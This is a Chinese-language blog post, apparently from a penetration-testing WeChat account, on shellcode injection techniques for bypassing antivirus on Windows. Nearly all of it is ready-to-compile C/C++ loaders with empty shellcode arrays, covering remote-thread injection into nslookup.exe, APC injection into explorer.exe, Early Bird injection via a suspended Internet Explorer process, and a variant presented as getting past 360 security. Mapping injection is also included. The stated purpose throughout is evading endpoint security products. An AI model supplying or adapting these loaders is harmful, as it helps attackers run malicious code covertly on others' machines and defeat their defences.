bypass4 - 注入技术
又持续很久没更新了,只想说一句,没事还活着呢,就是累点😂
10.1 进程注入
提到注入那么最基础的便是进程注入了,我们这里先尝试创建一个新的进程,然后将我们的shellcode注入到这个进程,这里被注入的进程可以自行选择,但是最好是要避免使用一些常见的被注入的进程,那些已经被杀软特殊关照了,我这里使用nslookup.exe
进行演示
这里先要了解几个函数
CreateProcess
//它的作用是在Windows上创建进程,返回值是BOOL类型表示创建进程的成功与否
//例
CreateProcess(exepath,NULL,NULL,NULL,FALSE,CREATE_NO_WINDOW,NULL,NULL,&si,&pi)
/*这里我们主要注意它以下位置的参数即可
第1个参数:可执行文件的路径
第5个参数:新进程是否继承当前的进程句柄表
第6个参数:创建进程的标志,CREATE_NO_WINDOW表示新进程在后台运行
第9个参数:指向STARTUPINFO结构的指针,记录新进程的配置信息,如主窗口外观,标准输入输出
第10个参数:指向PROCESS_INFORMATION结构的指针,用于接收新进程的信息,例如进程句柄、主线程句柄等。
*/
VirtualAllocEx
-
功能:用于在指定的远程进程空间中分配内存的函数。
-
返回值:如果函数成功,返回值为新分配内存的起始地址;如果函数失败,返回值为
NULL
。
LPVOID VirtualAllocEx(
[in] HANDLE hProcess, //目标进程的句柄,指定在其中分配内存。
[in, optional] LPVOID lpAddress, //要分配的内存的首选地址。如果设置为 NULL,系统会自动选择地址。
[in] SIZE_T dwSize, //要分配的内存大小
[in] DWORD flAllocationType, //内存分配类型 MEM_COMMIT表示分配内存,并将其内容初始化为零;MEM_RESERVE表示仅保留内存空间而不分配实际物理内存。
[in] DWORD flProtect //内存保护选项。
);
完整代码如下
#include <iostream>
#include <Windows.h>
int main()
{
unsigned char shellcode[] = "";
// 创建所需要的变量
STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID process_start;
SIZE_T process_size = sizeof(shellcode);
//进行初始化,将结构体的内存空间清零,保证不受干扰
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
//指定STARTUPINFO的结构体大小
si.cb = sizeof(si);
LPCWSTR exepath = L"C:\Windows\System32\nslookup.exe";
//创建进程
if (!CreateProcess(exepath,NULL,NULL,NULL,FALSE,CREATE_NO_WINDOW,NULL,NULL,&si,&pi)) {
DWORD errval = GetLastError();
}
//设置1秒后启动,这里是为了等待一秒确保进程已经正确创建,相关信息准确
WaitForSingleObject(pi.hProcess, 1000);
//在新进程中分配内存
process_start = VirtualAllocEx(pi.hProcess, NULL, process_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//将 shellcode 写入新进程的内存中
WriteProcessMemory(pi.hProcess, process_start, shellcode, process_size, NULL);
//在新进程中创建远程线程,使其执行 shellcode
CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)process_start, NULL, 0, 0);
}
10.2 APC注入
APC(Asynchronous Procedure Calls,异步过程调用),APC是函数在特定的线程被异步执行。
线程是不能被杀死 挂起和恢复的,线程在执行的时候自己占据着CPU,别人怎么可能控制他呢?举个极端的例子,如果不调用API,屏蔽中断,并保证代码不出现异常,线程将永久占据CPU。所以说线程如果想结束,一定是自己执行代码把自己杀死,不存在别人把线程结束的情况。
那如果想改变一个线程的行为该怎么办?可以给他提供一个函数,让他自己去调用,这个函数就是APC,即异步过程调用
-
APC分为用户模式APC和内核模式APC,我们APC注入的是用户模式APC
-
每个线程都有自己的APC队列,APC队列存着的是用户APC和内核APC,先进先出的执行方式
-
线程只有处于
可通知状态
(指线程在等待某个事件发生时处于一种特殊的状态,此时线程被挂起,但可以被其他线程通过特定的通知操作唤醒。在这种状态下,线程会一直等待直到接收到通知信号才能继续执行。)时,才会执行APC队列中的函数。 -
一个线程内部调用
SleepEx
、SignalObjectAdndWait
、WaitForSingleObjectEx
、WaitForMultioleObjectsEx
等特定函数将自己处于挂起状态
时,线程也就处于了可通知状态,也就会执行APC队列中的函数了 -
利用APC注入自身
#include <Windows.h>
//定义指针函数类型
typedef DWORD(WINAPI* pNtTestAlert)();
unsigned char shellcode[] ="";
void ApcLoader() {
DWORD oldProtect;
//修改内存保护属性
VirtualProtect((LPVOID)shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);
//获取函数地址
pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
//向APC队列加入一个执行shellcode任务
QueueUserAPC((PAPCFUNC)(PTHREAD_START_ROUTINE)(LPVOID)shellcode, GetCurrentThread(), NULL);
NtTestAlert();
}
void main() {
ApcLoader();
}
在上述代码中,我们首先用VirtualProtect将shellcode所在的内存区域的保护属性设置为可读可写可执行,然后由于NtTestAlert
不是公开的API函数,所以我们需要通过GetProcAddress
从ntdll中获取;
然后我们利用QueueUserAPC
函数向我们当前线程的APC队列加入我们的执行shellcode任务,其中QueueUserAPC函数的第一个参数为APC函数指针,这里我们给的是shellcode的地址,第二个参数为目标线程的句柄,我们这里利用GetCurrentThread()函数返回的是当前线程的句柄,第三个参数是为第一个参数也就是函数指针对应函数的参数。
NtTestAlert()
函数用于触发系统对当前线程的警报状态进行检查,也就是领系统执行APC队列里面函数。
-
利用APC注入别的进程
先来看一些需要了解的函数CreateToolhelp32Snapshot
-
功能:获取指定进程以及这些进程使用的堆、模块和线程的快照。
-
返回值:如果函数成功,它将返回指定快照的打开句柄。
HANDLE CreateToolhelp32Snapshot(
[in] DWORD dwFlags, //这个参数指定了快照的类型。我们要用到的两个标志:TH32CS_SNAPPROCESS和TH32CS_SNAPTHREAD。TH32CS_SNAPPROCESS表示要获取进程的快照,TH32CS_SNAPTHREAD包括快照系统中的所有线程
[in] DWORD th32ProcessID //这个参数用于指定要获取快照的进程的ID,设置为0,表示获取系统中所有进程和线程的快照。
);
接下来了解一下OpenProcess
函数
-
功能:用于打开一个已存在的进程,并返回一个与该进程相关联的句柄。
HANDLE OpenProcess(
DWORD dwDesiredAccess, //指定所请求的访问权限。这个参数是一个掩码,包含了多个标志位,用于控制对进程的不同操作权限。比如,可以设置为 PROCESS_ALL_ACCESS 表示拥有对进程的所有权限。
BOOL bInheritHandle, // 指定是否继承句柄。如果设置为 TRUE,则允许子进程继承句柄
DWORD dwProcessId //指定要打开的进程的ID。
);
完整代码如下
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
int main()
{
unsigned char buf[] = "";
//创建一个包含所有进程和线程的快照
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
HANDLE victimProcess = NULL;
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
//定义DWORD类型的动态数组
std::vector<DWORD> threadIds;
SIZE_T shellSize = sizeof(buf);
HANDLE threadHandle = NULL;
//循环获取对应进程的信息
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
Process32Next(snapshot, &processEntry);
}
}
//根据对应进程的ID来获取该进程句柄
victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
//在指定的远程进程中分配内存空间
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
//在对应进程中写入shellcode
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
//循环找到对应进程的所有线程,并将其线程ID加到动态数组
if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
}
for (DWORD threadId : threadIds) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
}
//等待一段时间,以便触发 APC
Sleep(1000 * 60);
return 0;
}
10.3 Early Bird
上述提到了APC注入,会发现它有两个痛点,其一就是当注入远程线程的时候,需要等待其进入警报状态,才会执行APC队列中的恶意代码,而Early Bird技术,它就是APC注入的升级版,就能解决这个痛点,其次Early Bird还能起到很好的防止杀软HOOK的效果。
Early Bird具体流程如下:
-
创建一个挂起的进程(通常是windows的合法进程)
-
在挂起的进程内申请一块可读可写可执行的内存空间
-
往申请的空间内写入shellcode
-
将APC插入到该进程的主线程
-
恢复挂起进程的线程
通常情况下,杀软会将自己的DLL文件注入到运行的程序中,而我们因为创建的是挂起的线程,然后向其APC队列注入我们的恶意代码,接着恢复这个线程,而恢复线程的时候,线程初始化会调用ntdll的未导出NtTestAlert函数,该函数会判断APC队列是否为空,如果不为空就将他们全部执行一遍,以达到清空的目的,所以我们的恶意代码就是这个时候被执行的,所以我们恶意代码执行是早于主线程入口点,所以这也就是Early Bird为什么能解决上述两个痛点的原因。
代码和APC注入差不多,不过我们这回用CreateProcessA函数创建进程的时候第6个参数值应为CREATE_SUSPENDED
表示以挂起状态创建,其实这个也并不陌生,我前不久写的那个白加黑辅助程序,里面为了达到程序静默运行的效果,解决方案就是启动挂起状态的calc进程。
完整代码如下:
#include <stdio.h>
#include <windows.h>
unsigned char shellcode[] = "";
int main() {
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(STARTUPINFO);
//创建一个ie进程,状态是挂起以及禁止window窗口的形式
CreateProcessA("C:\Program Files\internet explorer\iexplore.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, (LPSTARTUPINFOA)&si, &pi);
//向远程进程申请内存空间
LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//写入shellcode
WriteProcessMemory(pi.hProcess, lpBaseAddress, (LPVOID)shellcode, sizeof(shellcode), NULL);
//向APC队列加入我们的shellcode执行地址
QueueUserAPC((PAPCFUNC)lpBaseAddress, pi.hThread, NULL);
//恢复目标线程执行
ResumeThread(pi.hThread);
//关闭线程句柄
CloseHandle(pi.hThread);
return 0;
}
10.4 Early Bird升级版
像我们熟知的360,它就对远程注入看的比较严,但是可以注入自身,我们之前的Early Bird执行方式知道了相当于创建了挂起进程向其线程APC队列加shellcode再恢复该线程,那么我们当然也可以在已经运行的进程上,创建一个挂起的线程,然后再注入并恢复达到同样的目的。
注入当前进程:
#include <stdio.h>
#include <windows.h>
unsigned char hexData[] = {};
int main() {
HANDLE hThread = NULL;
HANDLE hProcess = 0;
DWORD ProcessId = 0;
LPVOID AllocAddr = NULL;
//获取当前进程句柄
hProcess = GetCurrentProcess();
//申请内存空间
AllocAddr = VirtualAllocEx(hProcess, 0, sizeof(hexData) + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//写入shellcode
WriteProcessMemory(hProcess, AllocAddr, hexData, sizeof(hexData) + 1, 0);
//创建一个挂起的线程,并将新线程执行函数地址指向0xfff,这个地址通常被操作系统保留为空地址或无效地址
hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)0xfff, 0, CREATE_SUSPENDED, NULL);
//APC队列加入shellcode地址
QueueUserAPC((PAPCFUNC)AllocAddr, hThread, 0);
//恢复线程执行
ResumeThread(hThread);
//等待线程结束
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hProcess);
CloseHandle(hThread);
return 0;
}
远程线程注入:
#include <stdio.h>
#include <windows.h>
unsigned char hexData[893] = {};
int main() {
HANDLE hThread = NULL;
HANDLE hProcess = 0;
DWORD ProcessId = 0;
LPVOID AllocAddr = NULL;
//获取PID为12236的句柄
hProcess = OpenProcess(PROCESS_ALL_ACCESS, NULL, 12236);
//申请内存,这里申请的空间位sizeof(hexData) + 1,主要是为了为了确保分配的内存空间能够容纳整个 hexData 数据,但是如果不+1也不影响
AllocAddr = VirtualAllocEx(hProcess, 0, sizeof(hexData) + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, AllocAddr, hexData, sizeof(hexData) + 1, 0);
hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)0xfff, 0, CREATE_SUSPENDED, NULL);
QueueUserAPC((PAPCFUNC)AllocAddr, hThread, 0);
ResumeThread(hThread);
CloseHandle(hProcess);
CloseHandle(hThread);
return 0;
}
10.5 Mapping Injection
首先我们要知道什么是内存映射,
内存映射
是一种将文件的一部分或整个文件映射到进程的地址空间中的技术。当一个文件被映射到进程的地址空间中时,可以像访问内存一样对文件进行读写操作,而不需要调用传统的文件读写函数。这种技术使得文件的访问更加高效,因为文件的内容可以直接在内存中进行处理,而不需要频繁地从磁盘读取数据。
映射注入的大概原理就是利用内存映射将文件映射到当前进程的地址空间,然后将这个映射的内存区域复制到另一个进程,再通过创建远程线程的方式来执行
-
创建文件映射对象
-
将文件映射对象映射到当前进程的地址空间
-
往被映射的虚拟地址写入shellcode
-
打开被注入进程句柄
-
将mapping映射到被注入进程虚拟地址
-
创建远程线程执行
#include <stdio.h>
#include <windows.h>
#pragma comment (lib, "OneCore.lib")
unsigned char shellcode[] = "";
int main() {
//利用CreateFileMapping函数创建文件映射对象,INVALID_HANDLE_VALUE表示创建的不是磁盘上的文件而是系统分页文件
HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);
// 将文件映射对象映射到当前进程的地址空间,FILE_MAP_WRITE表示访问类型为可写
LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(shellcode));
memcpy((PVOID)lpMapAddress, shellcode, sizeof(shellcode));
//获取远程线程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 20940);
//将文件映射对象映射到远程进程的地址空间
LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ);
//创建一个远程线程,从指定的起始地址开始执行
HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpMapAddressRemote, NULL, 0, NULL);
// 解除文件映射对象
UnmapViewOfFile(lpMapAddress);
CloseHandle(hMapping);
return 0;
}
上述代码我们让其执行的时候是通过在远程线程中创建一个线程来执行的, 所以其实也可以将Mapping Injection技术与Early Bird联合使用,代码之前都给过了,这里就不多做赘述了
原文始发于微信公众号(小惜渗透):bypass4 - 注入技术
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论